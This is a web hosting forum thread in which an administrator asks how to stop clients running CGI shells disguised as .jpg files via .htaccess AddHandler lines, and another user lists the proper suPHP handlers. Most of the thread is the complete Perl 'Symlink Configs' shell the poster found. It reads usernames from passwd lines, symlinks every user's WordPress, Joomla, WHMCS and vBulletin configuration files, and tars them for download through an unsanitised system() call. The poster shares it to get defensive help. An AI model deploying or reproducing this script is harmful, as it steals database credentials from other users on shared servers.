Suphp Problem -securoty - please help me

shahab

Verified User
Joined
Aug 4, 2014
Messages
72
Suphp Problem -security - please help me

Hello

I use suphp with php 5.3 but clinet can run shells with .jpg , .png

They use this license :

++++++++++++
Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .jpg

AddHandler cgi-script .jpg
AddHandler cgi-script .jpg
++++++++++++++



in htaccess ..

please help me(
 
Last edited:
Hello,

That is not suPHP hanlder. suPHP handlers are:

suPHP_AddHandler x-httpd-php5
suPHP_AddHandler x-httpd-php53
suPHP_AddHandler x-httpd-php54
suPHP_AddHandler x-httpd-php55
suPHP_AddHandler x-httpd-php56

And does the script in those images run when you access the link? Or fails with 500 error?
 
my handler :
http://up.vbiran.ir/uploads/39831142623705838202_Capture.JPG

ye script can run in .jpg
first the shell is

#!/usr/bin/perl -I/usr/local/bandmin

PHP:
#!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Symlink</title>
<style type="text/css">
.newStyle1 {
 font-family: Tahoma;
 font-size: x-small;
 font-weight: bold;
 color: #00FFFF;
  text-align: center;
}
</style>
</head>
';
sub lil{
    ($user) = @_;
$msr = qx{pwd};
$kola=$msr."/".$user;
$kola=~s/\n//g;
symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'_-_vBulletin1.cok');
symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'_-_vBulletin2.cok');
symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_vBulletin3.cok');
symlink('/home/'.$user.'/public_html/cc/includes/config.php',$kola.'_-_vBulletin4.cok');
symlink('/home/'.$user.'/public_html/config.php',$kola.'_-_Phpbb1.cok');
symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_Phpbb2.cok');
symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'_-_Wordpress1.cok');
symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'_-_Wordpress2.cok');
symlink('/home/'.$user.'/public_html/configuration.php',$kola.'_-_Joomla1.cok');
symlink('/home/'.$user.'/public_html/blog/configuration.php',$kola.'_-_Joomla2.cok');
symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'_-_Joomla3.cok');
symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'_-_Whm1.cok');
symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'_-_Whm2.cok');
symlink('/home/'.$user.'/public_html/wp/wp-config.php',$kola.'_-_Wordpresszzzz.cok');
symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$kola.'_-_Wordpresszzz.cok');
symlink('/home/'.$user.'/public_html/press/wp-config.php',$kola.'_-_Wordpresszzz.cok');
symlink('/home/'.$user.'/public_html/site/wp-config.php',$kola.'_-_Wordpresszz.cok');
symlink('/home/'.$user.'/public_html/test/wp-config.php',$kola.'_-_Wordpresszz.cok');
symlink('/home/'.$user.'/public_html/me/wp-config.php',$kola.'_-_Wordpressz.cok');
symlink('/home/'.$user.'/public_html/order/configuration.php',$kola.'_-_Whmc.cok');
symlink('/home/'.$user.'/public_html/host/configuration.php',$kola.'_-_WhM.cok');
symlink('/home/'.$user.'/public_html/v1/configuration.php',$kola.'_-_Whmm.cok');
symlink('/home/'.$user.'/public_html/v2/configuration.php',$kola.'_-_Whmmm.cok');
symlink('/home/'.$user.'/public_html/test/configuration.php',$kola.'_-_emboh.cok');
symlink('/home/'.$user.'/public_html/site/configuration.php',$kola.'_-_zzzz.cok');
symlink('/home/'.$user.'/public_html/baru/configuration.php',$kola.'_-_Whccc.cok');
symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'_-_Whm3.cok');
symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'_-_Whm4.cok');
symlink('/home/'.$user.'/public_html/billings/configuration.php',$kola.'_-_Whm5.cok');
symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'_-_Whm6.cok');
symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'_-_Whm7.cok');
symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'_-_Whm8.cok');
symlink('/home/'.$user.'/public_html/order/configuration.php',$kola.'_-_Whm9.cok');
symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'_-_5.cok');
symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'_-_4.cok');
symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'_-_invisio.cok');
symlink('/home/'.$user.'/public_html/include/db.php',$kola.'_-_7.cok');
symlink('/home/'.$user.'/public_html/connect.php',$kola.'_-_8.cok');
symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'_-_mk-portale1.cok');
symlink('/home/'.$user.'/public_html/include/config.php',$kola.'_-_12.cok');
symlink('/home/'.$user.'/public_html/settings.php',$kola.'_-_Smf.cok');
symlink('/home/'.$user.'/public_html/includes/functions.php',$kola.'_-_phpbb3.cok');
symlink('/home/'.$user.'/public_html/include/db.php',$kola.'_-_infinity.cok');
symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$kola.'_-_vBulletin1.cok');
symlink('/home2/'.$user.'/public_html/includes/config.php',$kola.'_-_vBulletin2.cok');
symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_vBulletin3.cok');
symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$kola.'_-_vBulletin4.cok');
symlink('/home2/'.$user.'/public_html/config.php',$kola.'_-_Phpbb1.cok');
symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_Phpbb2.cok');
symlink('/home2/'.$user.'/public_html/wp-config.php',$kola.'_-_Wordpress1.cok');
symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$kola.'_-_Wordpress2.cok');
symlink('/home2/'.$user.'/public_html/configuration.php',$kola.'_-_Joomla1.cok');
symlink('/home2/'.$user.'/public_html/blog/configuration.php',$kola.'_-_Joomla2.cok');
symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$kola.'_-_Joomla3.cok');
symlink('/home2/'.$user.'/public_html/whm/configuration.php',$kola.'_-_Whm1.cok');
symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$kola.'_-_Whm2.cok');
symlink('/home2/'.$user.'/public_html/support/configuration.php',$kola.'_-_Whm3.cok');
symlink('/home2/'.$user.'/public_html/client/configuration.php',$kola.'_-_Whm4.cok');
symlink('/home2/'.$user.'/public_html/billings/configuration.php',$kola.'_-_Whm5.cok');
symlink('/home2/'.$user.'/public_html/billing/configuration.php',$kola.'_-_Whm6.cok');
symlink('/home2/'.$user.'/public_html/clients/configuration.php',$kola.'_-_Whm7.cok');
symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$kola.'_-_Whm8.cok');
symlink('/home2/'.$user.'/public_html/order/configuration.php',$kola.'_-_Whm9.cok');
symlink('/home2/'.$user.'/public_html/admin/conf.php',$kola.'_-_5.cok');
symlink('/home2/'.$user.'/public_html/admin/config.php',$kola.'_-_4.cok');
symlink('/home2/'.$user.'/public_html/conf_global.php',$kola.'_-_invisio.cok');
symlink('/home2/'.$user.'/public_html/include/db.php',$kola.'_-_7.cok');
symlink('/home2/'.$user.'/public_html/connect.php',$kola.'_-_8.cok');
symlink('/home2/'.$user.'/public_html/mk_conf.php',$kola.'_-_mk-portale1.cok');
symlink('/home2/'.$user.'/public_html/include/config.php',$kola.'_-_12.cok');
symlink('/home2/'.$user.'/public_html/settings.php',$kola.'_-_Smf.cok');
symlink('/home2/'.$user.'/public_html/includes/functions.php',$kola.'_-_phpbb3.cok');
symlink('/home2/'.$user.'/public_html/include/db.php',$kola.'_-_infinity.cok');
symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$kola.'_-_vBulletin1.cok');
symlink('/home3/'.$user.'/public_html/includes/config.php',$kola.'_-_vBulletin2.cok');
symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_vBulletin3.cok');
symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$kola.'_-_vBulletin4.cok');
symlink('/home3/'.$user.'/public_html/config.php',$kola.'_-_Phpbb1.cok');
symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_Phpbb2.cok');
symlink('/home3/'.$user.'/public_html/wp-config.php',$kola.'_-_Wordpress1.cok');
symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$kola.'_-_Wordpress2.cok');
symlink('/home3/'.$user.'/public_html/configuration.php',$kola.'_-_Joomla1.cok');
symlink('/home3/'.$user.'/public_html/blog/configuration.php',$kola.'_-_Joomla2.cok');
symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$kola.'_-_Joomla3.cok');
symlink('/home3/'.$user.'/public_html/whm/configuration.php',$kola.'_-_Whm1.cok');
symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$kola.'_-_Whm2.cok');
symlink('/home3/'.$user.'/public_html/support/configuration.php',$kola.'_-_Whm3.cok');
symlink('/home3/'.$user.'/public_html/client/configuration.php',$kola.'_-_Whm4.cok');
symlink('/home3/'.$user.'/public_html/billings/configuration.php',$kola.'_-_Whm5.cok');
symlink('/home3/'.$user.'/public_html/billing/configuration.php',$kola.'_-_Whm6.cok');
symlink('/home3/'.$user.'/public_html/clients/configuration.php',$kola.'_-_Whm7.cok');
symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$kola.'_-_Whm8.cok');
symlink('/home3/'.$user.'/public_html/order/configuration.php',$kola.'_-_Whm9.cok');
symlink('/home3/'.$user.'/public_html/admin/conf.php',$kola.'_-_5.cok');
symlink('/home3/'.$user.'/public_html/admin/config.php',$kola.'_-_4.cok');
symlink('/home3/'.$user.'/public_html/conf_global.php',$kola.'_-_invisio.cok');
symlink('/home3/'.$user.'/public_html/include/db.php',$kola.'_-_7.cok');
symlink('/home3/'.$user.'/public_html/connect.php',$kola.'_-_8.cok');
symlink('/home3/'.$user.'/public_html/mk_conf.php',$kola.'_-_mk-portale1.cok');
symlink('/home3/'.$user.'/public_html/include/config.php',$kola.'_-_12.cok');
symlink('/home3/'.$user.'/public_html/settings.php',$kola.'_-_Smf.cok');
symlink('/home3/'.$user.'/public_html/includes/functions.php',$kola.'_-_phpbb3.cok');
symlink('/home3/'.$user.'/public_html/include/db.php',$kola.'_-_infinity.cok');
symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$kola.'_-_vBulletin1.cok');
symlink('/home4/'.$user.'/public_html/includes/config.php',$kola.'_-_vBulletin2.cok');
symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_vBulletin3.cok');
symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$kola.'_-_vBulletin4.cok');
symlink('/home4/'.$user.'/public_html/config.php',$kola.'_-_Phpbb1.cok');
symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_Phpbb2.cok');
symlink('/home4/'.$user.'/public_html/wp-config.php',$kola.'_-_Wordpress1.cok');
symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$kola.'_-_Wordpress2.cok');
symlink('/home4/'.$user.'/public_html/configuration.php',$kola.'_-_Joomla1.cok');
symlink('/home4/'.$user.'/public_html/blog/configuration.php',$kola.'_-_Joomla2.cok');
symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$kola.'_-_Joomla3.cok');
symlink('/home4/'.$user.'/public_html/whm/configuration.php',$kola.'_-_Whm1.cok');
symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$kola.'_-_Whm2.cok');
symlink('/home4/'.$user.'/public_html/support/configuration.php',$kola.'_-_Whm3.cok');
symlink('/home4/'.$user.'/public_html/client/configuration.php',$kola.'_-_Whm4.cok');
symlink('/home4/'.$user.'/public_html/billings/configuration.php',$kola.'_-_Whm5.cok');
symlink('/home4/'.$user.'/public_html/billing/configuration.php',$kola.'_-_Whm6.cok');
symlink('/home4/'.$user.'/public_html/clients/configuration.php',$kola.'_-_Whm7.cok');
symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$kola.'_-_Whm8.cok');
symlink('/home4/'.$user.'/public_html/order/configuration.php',$kola.'_-_Whm9.cok');
symlink('/home4/'.$user.'/public_html/admin/conf.php',$kola.'_-_5.cok');
symlink('/home4/'.$user.'/public_html/admin/config.php',$kola.'_-_4.cok');
symlink('/home4/'.$user.'/public_html/conf_global.php',$kola.'_-_invisio.cok');
symlink('/home4/'.$user.'/public_html/include/db.php',$kola.'_-_7.cok');
symlink('/home4/'.$user.'/public_html/connect.php',$kola.'_-_8.cok');
symlink('/home4/'.$user.'/public_html/mk_conf.php',$kola.'_-_mk-portale1.cok');
symlink('/home4/'.$user.'/public_html/include/config.php',$kola.'_-_12.cok');
symlink('/home4/'.$user.'/public_html/settings.php',$kola.'_-_Smf.cok');
symlink('/home4/'.$user.'/public_html/includes/functions.php',$kola.'_-_phpbb3.cok');
symlink('/home4/'.$user.'/public_html/include/db.php',$kola.'_-_infinity.cok');
symlink('/home5/'.$user.'/public_html/vb/includes/config.php',$kola.'_-_vBulletin1.cok');
symlink('/home5/'.$user.'/public_html/includes/config.php',$kola.'_-_vBulletin2.cok');
symlink('/home5/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_vBulletin3.cok');
symlink('/home5/'.$user.'/public_html/cc/includes/config.php',$kola.'_-_vBulletin4.cok');
symlink('/home5/'.$user.'/public_html/config.php',$kola.'_-_Phpbb1.cok');
symlink('/home5/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_Phpbb2.cok');
symlink('/home5/'.$user.'/public_html/wp-config.php',$kola.'_-_Wordpress1.cok');
symlink('/home5/'.$user.'/public_html/blog/wp-config.php',$kola.'_-_Wordpress2.cok');
symlink('/home5/'.$user.'/public_html/configuration.php',$kola.'_-_Joomla1.cok');
symlink('/home5/'.$user.'/public_html/blog/configuration.php',$kola.'_-_Joomla2.cok');
symlink('/home5/'.$user.'/public_html/joomla/configuration.php',$kola.'_-_Joomla3.cok');
symlink('/home5/'.$user.'/public_html/whm/configuration.php',$kola.'_-_Whm1.cok');
symlink('/home5/'.$user.'/public_html/whmc/configuration.php',$kola.'_-_Whm2.cok');
symlink('/home5/'.$user.'/public_html/support/configuration.php',$kola.'_-_Whm3.cok');
symlink('/home5/'.$user.'/public_html/client/configuration.php',$kola.'_-_Whm4.cok');
symlink('/home5/'.$user.'/public_html/billings/configuration.php',$kola.'_-_Whm5.cok');
symlink('/home5/'.$user.'/public_html/billing/configuration.php',$kola.'_-_Whm6.cok');
symlink('/home5/'.$user.'/public_html/clients/configuration.php',$kola.'_-_Whm7.cok');
symlink('/home5/'.$user.'/public_html/whmcs/configuration.php',$kola.'_-_Whm8.cok');
symlink('/home5/'.$user.'/public_html/order/configuration.php',$kola.'_-_Whm9.cok');
symlink('/home5/'.$user.'/public_html/admin/conf.php',$kola.'_-_5.cok');
symlink('/home5/'.$user.'/public_html/admin/config.php',$kola.'_-_4.cok');
symlink('/home5/'.$user.'/public_html/conf_global.php',$kola.'_-_invisio.cok');
symlink('/home5/'.$user.'/public_html/include/db.php',$kola.'_-_7.cok');
symlink('/home5/'.$user.'/public_html/connect.php',$kola.'_-_8.cok');
symlink('/home5/'.$user.'/public_html/mk_conf.php',$kola.'_-_mk-portale1.cok');
symlink('/home5/'.$user.'/public_html/include/config.php',$kola.'_-_12.cok');
symlink('/home5/'.$user.'/public_html/settings.php',$kola.'_-_Smf.cok');
symlink('/home5/'.$user.'/public_html/includes/functions.php',$kola.'_-_phpbb3.cok');
symlink('/home5/'.$user.'/public_html/include/db.php',$kola.'_-_infinity.cok');
symlink('/home6/'.$user.'/public_html/vb/includes/config.php',$kola.'_-_vBulletin1.cok');
symlink('/home6/'.$user.'/public_html/includes/config.php',$kola.'_-_vBulletin2.cok');
symlink('/home6/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_vBulletin3.cok');
symlink('/home6/'.$user.'/public_html/cc/includes/config.php',$kola.'_-_vBulletin4.cok');
symlink('/home6/'.$user.'/public_html/config.php',$kola.'_-_Phpbb1.cok');
symlink('/home6/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_Phpbb2.cok');
symlink('/home6/'.$user.'/public_html/wp-config.php',$kola.'_-_Wordpress1.cok');
symlink('/home6/'.$user.'/public_html/blog/wp-config.php',$kola.'_-_Wordpress2.cok');
symlink('/home6/'.$user.'/public_html/configuration.php',$kola.'_-_Joomla1.cok');
symlink('/home6/'.$user.'/public_html/blog/configuration.php',$kola.'_-_Joomla2.cok');
symlink('/home6/'.$user.'/public_html/joomla/configuration.php',$kola.'_-_Joomla3.cok');
symlink('/home6/'.$user.'/public_html/whm/configuration.php',$kola.'_-_Whm1.cok');
symlink('/home6/'.$user.'/public_html/whmc/configuration.php',$kola.'_-_Whm2.cok');
symlink('/home6/'.$user.'/public_html/support/configuration.php',$kola.'_-_Whm3.cok');
symlink('/home6/'.$user.'/public_html/client/configuration.php',$kola.'_-_Whm4.cok');
symlink('/home6/'.$user.'/public_html/billings/configuration.php',$kola.'_-_Whm5.cok');
symlink('/home6/'.$user.'/public_html/billing/configuration.php',$kola.'_-_Whm6.cok');
symlink('/home6/'.$user.'/public_html/clients/configuration.php',$kola.'_-_Whm7.cok');
symlink('/home6/'.$user.'/public_html/whmcs/configuration.php',$kola.'_-_Whm8.cok');
symlink('/home6/'.$user.'/public_html/order/configuration.php',$kola.'_-_Whm9.cok');
symlink('/home6/'.$user.'/public_html/admin/conf.php',$kola.'_-_5.cok');
symlink('/home6/'.$user.'/public_html/admin/config.php',$kola.'_-_4.cok');
symlink('/home6/'.$user.'/public_html/conf_global.php',$kola.'_-_invisio.cok');
symlink('/home6/'.$user.'/public_html/include/db.php',$kola.'_-_7.cok');
symlink('/home6/'.$user.'/public_html/connect.php',$kola.'_-_8.cok');
symlink('/home6/'.$user.'/public_html/mk_conf.php',$kola.'_-_mk-portale1.cok');
symlink('/home6/'.$user.'/public_html/include/config.php',$kola.'_-_12.cok');
symlink('/home6/'.$user.'/public_html/settings.php',$kola.'_-_Smf.cok');
symlink('/home6/'.$user.'/public_html/includes/functions.php',$kola.'_-_phpbb3.cok');
symlink('/home6/'.$user.'/public_html/include/db.php',$kola.'_-_infinity.cok');
symlink('/home7/'.$user.'/public_html/vb/includes/config.php',$kola.'_-_vBulletin1.cok');
symlink('/home7/'.$user.'/public_html/includes/config.php',$kola.'_-_vBulletin2.cok');
symlink('/home7/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_vBulletin3.cok');
symlink('/home7/'.$user.'/public_html/cc/includes/config.php',$kola.'_-_vBulletin4.cok');
symlink('/home7/'.$user.'/public_html/config.php',$kola.'_-_Phpbb1.cok');
symlink('/home7/'.$user.'/public_html/forum/includes/config.php',$kola.'_-_Phpbb2.cok');
symlink('/home7/'.$user.'/public_html/wp-config.php',$kola.'_-_Wordpress1.cok');
symlink('/home7/'.$user.'/public_html/blog/wp-config.php',$kola.'_-_Wordpress2.cok');
symlink('/home7/'.$user.'/public_html/configuration.php',$kola.'_-_Joomla1.cok');
symlink('/home7/'.$user.'/public_html/blog/configuration.php',$kola.'_-_Joomla2.cok');
symlink('/home7/'.$user.'/public_html/joomla/configuration.php',$kola.'_-_Joomla3.cok');
symlink('/home7/'.$user.'/public_html/whm/configuration.php',$kola.'_-_Whm1.cok');
symlink('/home7/'.$user.'/public_html/whmc/configuration.php',$kola.'_-_Whm2.cok');
symlink('/home7/'.$user.'/public_html/support/configuration.php',$kola.'_-_Whm3.cok');
symlink('/home7/'.$user.'/public_html/client/configuration.php',$kola.'_-_Whm4.cok');
symlink('/home7/'.$user.'/public_html/billings/configuration.php',$kola.'_-_Whm5.cok');
symlink('/home7/'.$user.'/public_html/billing/configuration.php',$kola.'_-_Whm6.cok');
symlink('/home7/'.$user.'/public_html/clients/configuration.php',$kola.'_-_Whm7.cok');
symlink('/home7/'.$user.'/public_html/whmcs/configuration.php',$kola.'_-_Whm8.cok');
symlink('/home7/'.$user.'/public_html/order/configuration.php',$kola.'_-_Whm9.cok');
symlink('/home7/'.$user.'/public_html/admin/conf.php',$kola.'_-_5.cok');
symlink('/home7/'.$user.'/public_html/admin/config.php',$kola.'_-_4.cok');
symlink('/home7/'.$user.'/public_html/conf_global.php',$kola.'_-_invisio.cok');
symlink('/home7/'.$user.'/public_html/include/db.php',$kola.'_-_7.cok');
symlink('/home7/'.$user.'/public_html/connect.php',$kola.'_-_8.cok');
symlink('/home7/'.$user.'/public_html/mk_conf.php',$kola.'_-_mk-portale1.cok');
symlink('/home7/'.$user.'/public_html/include/config.php',$kola.'_-_12.cok');
symlink('/home7/'.$user.'/public_html/settings.php',$kola.'_-_Smf.cok');
symlink('/home7/'.$user.'/public_html/includes/functions.php',$kola.'_-_phpbb3.cok');
symlink('/home7/'.$user.'/public_html/include/db.php',$kola.'_-_infinity.cok');
}
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
} else {
  $buffer = $ENV{'QUERY_STRING'};
}
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
  ($name, $value) = split(/=/, $pair);
  $name =~ tr/+/ /;
  $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  $value =~ tr/+/ /;
  $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  $FORM{$name} = $value;
}
if ($FORM{pass} eq ""){
print '
<body class="newStyle1" bgcolor="#000000">
<p>Symlink Configs</p>
<form method="post">
<textarea name="pass" style="border:1px dotted #00FFFF; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF"  ></textarea><br />
 <p>
<input name="tar" type="text" value="indonesia" style="border:1px dotted #00FFFF; width: 212px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF; "  /><br />
 </p>
<p>
<input name="Submit1" type="submit" value="Get Config" style="border:1px dotted #00FFFF; width: 99; font-family:Tahoma; font-size:10pt; color:#00FFFF; text-transform:uppercase; height:23; background-color:#0C0C0C" /></p>
</form>';
}else{
@lines =<$FORM{pass}>;
$y = @lines;
open (MYFILE, ">tar.tmp");
print MYFILE "tar -czf ".$FORM{tar}.".tar ";
for ($ka=0;$ka<$y;$ka++){
while(@lines[$ka]  =~ m/(.*?):x:/g){
&lil($1);
print MYFILE $1.".txt ";
for($kd=1;$kd<18;$kd++){
print MYFILE $1.$kd.".txt ";
}
}
 }
print'<body class="newStyle1" bgcolor="#000000">
<p>Done !!</p>
<p> </p>';
if($FORM{tar} ne ""){
open(INFO, "tar.tmp");
@lines =<INFO> ;
close(INFO);
system(@lines);
print'<p><br><a href="'.$FORM{tar}.'.tar"><font color="#00FF00">
<span style="text-decoration: none">Click Here To Download Tar File</span></font></a><</p>';
}
}
 print"
</body>
</html>";
 
Back
Top